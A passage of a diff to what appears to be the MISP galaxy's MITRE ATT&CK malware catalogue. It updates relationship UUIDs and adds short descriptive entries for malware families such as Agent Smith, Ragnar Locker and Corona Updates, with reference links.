"dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -597,7 +731,7 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -626,7 +760,7 @@ }, "related": [ { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -647,14 +781,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -675,28 +809,21 @@ "type": "uses" }, { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -723,7 +850,7 @@ }, "related": [ { - "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "dest-uuid": "d4b96d2c-1032-4b22-9235-2b5b649d0605", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -752,7 +879,7 @@ }, "related": [ { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "f7c0689c-4dbd-489b-81be-7cb7c7079ade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -786,14 +913,14 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -828,7 +955,7 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -855,21 +982,21 @@ }, "related": [ { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41", + "dest-uuid": "cc89ecbd-3d33-4a41-bcca-001e702d18fd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -897,21 +1024,14 @@ }, "related": [ { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -939,7 +1059,7 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "806a49c4-970d-43f9-9acc-ac0ee11e6662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -953,7 +1073,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -967,28 +1087,28 @@ "type": "uses" }, { - "dest-uuid": "66f73398-8394-4711-85e5-34c8540b22a5", + "dest-uuid": "f5946b5e-9408-485f-a7f7-b5efc88909b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1009,7 +1129,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1029,13 +1149,6 @@ ], "type": "uses" }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "tags": [ @@ -1049,6 +1162,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "198db886-47af-4f4c-bff5-11b891f85946", @@ -1140,21 +1260,14 @@ "type": "similar" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1168,14 +1281,7 @@ "type": "uses" }, { - "dest-uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1185,6 +1291,96 @@ "uuid": "7bec698a-7e20-4fd3-bb6a-12787770fb1a", "value": "3PARA RAT - S0066" }, + { + "description": "[Agent Smith](https://attack.mitre.org/software/S0440) is mobile malware that generates financial gain by replacing legitimate applications on devices with malicious versions that include fraudulent ads. As of July 2019 [Agent Smith](https://attack.mitre.org/software/S0440) had infected around 25 million devices, primarily targeting India though effects had been observed in other Asian countries as well as Saudi Arabia, the United Kingdom, and the United States.(Citation: CheckPoint Agent Smith)", + "meta": { + "external_id": "S0440", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S0440", + "https://research.checkpoint.com/2019/agent-smith-a-new-species-of-mobile-malware/" + ], + "synonyms": [ + "Agent Smith" + ] + }, + "related": [ + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d3bc5020-f6a2-41c0-8ccb-5e563101b60c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a6228601-03f6-4949-ae22-c1087627a637", + "value": "Agent Smith - S0440" + }, { "description": "[4H RAT](https://attack.mitre.org/software/S0065) is malware that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024) since at least 2007. (Citation: CrowdStrike Putter Panda)", "meta": { @@ -1216,14 +1412,14 @@ "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1237,7 +1433,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1279,28 +1475,28 @@ "type": "similar" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "1d24cdee-9ea2-4189-b08e-af110bf2435d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1327,21 +1523,21 @@ }, "related": [ { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1359,7 +1555,7 @@ "value": "AutoIt backdoor - S0129" }, { - "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written in visual basic.(Citation: Fortinet Agent Tesla April 2018)", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written for the .NET framework that has been observed since at least 2014.(Citation: Fortinet Agent Tesla April 2018)(Citation: Bitdefender Agent Tesla April 2020)(Citation: Malwarebytes Agent Tesla April 2020)", "meta": { "external_id": "S0331", "mitre_platforms": [ @@ -1368,6 +1564,8 @@ "refs": [ "https://attack.mitre.org/software/S0331", "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", + "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", + "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/", "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html", "https://www.digitrustgroup.com/agent-tesla-keylogger/" ], @@ -1398,7 +1596,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1426,7 +1624,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1440,28 +1638,28 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1475,7 +1673,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1488,13 +1686,6 @@ ], "type": "uses" }, - { - "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", "tags": [ @@ -1508,11 +1699,165 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "544b0346-29ad-41e1-a808-501bb4193f47", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "value": "Agent Tesla - S0331" }, + { + "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) is a ransomware that has been in use since at least December 2019.(Citation: Sophos Ragnar May 2020)(Citation: Cynet Ragnar Apr 2020)", + "meta": { + "external_id": "S0481", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0481", + "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "https://www.cynet.com/blog/cynet-detection-report-ragnar-locker-ransomware/" + ], + "synonyms": [ + "Ragnar Locker" + ] + }, + "related": [ + { + "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "54895630-efd2-4608-9c24-319de972a9eb", + "value": "Ragnar Locker - S0481" + }, { "description": "[Power Loader](https://attack.mitre.org/software/S0177) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", "meta": { @@ -1532,7 +1877,7 @@ }, "related": [ { - "dest-uuid": "52f3d5a6-8a0f-4f82-977e-750abf90d0b0", + "dest-uuid": "0042a9f5-f053-4769-b3ef-9ad018dfa298", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1551,7 +1896,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0252", - "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" ], "synonyms": [ "Brave Prince" @@ -1580,7 +1925,7 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1594,7 +1939,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1644,14 +1989,14 @@ "type": "similar" }, { - "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1672,7 +2017,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1686,21 +2031,14 @@ "type": "uses" }, { - "dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "dest-uuid": "1e9eb839-294b-48cc-b0d3-c45555a2a004", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1714,7 +2052,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1728,21 +2066,21 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1776,7 +2114,7 @@ "type": "uses" }, { - "dest-uuid": "01df3350-ce05-4bdf-bdf8-0a919a66d4a8", + "dest-uuid": "b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1804,7 +2142,7 @@ "type": "uses" }, { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "692074ae-bb62-4a5e-a735-02cb6bde458c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1932,6 +2270,112 @@ "uuid": "085eb36d-697d-4d9a-bac3-96eb879fe73c", "value": "Stealth Mango - S0328" }, + { + "description": "[Corona Updates](https://attack.mitre.org/software/S0425) is Android spyware that took advantage of the Coronavirus pandemic. The campaign distributing this spyware is tracked as Project Spy. Multiple variants of this spyware have been discovered to have been hosted on the Google Play Store.(Citation: TrendMicro Coronavirus Updates)", + "meta": { + "external_id": "S0425", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S0425", + "https://blog.trendmicro.com/trendlabs-security-intelligence/coronavirus-update-app-leads-to-project-spy-android-and-ios-spyware/" + ], + "synonyms": [ + "Corona Updates", + "Wabi Music", + "Concipit1248" + ] + }, + "related": [ + { + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "366c800f-97a8-48d5-b0a6-79d00198252a", + "value": "Corona Updates - S0425" + }, { "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. [Gold Dragon](https://attack.mitre.org/software/S0249) was used along with [Brave Prince](https://attack.mitre.org/software/S0252) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)", "meta": { @@ -1941,7 +2385,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0249", - "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" ], "synonyms": [ "Gold Dragon" @@ -1956,21 +2400,21 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": 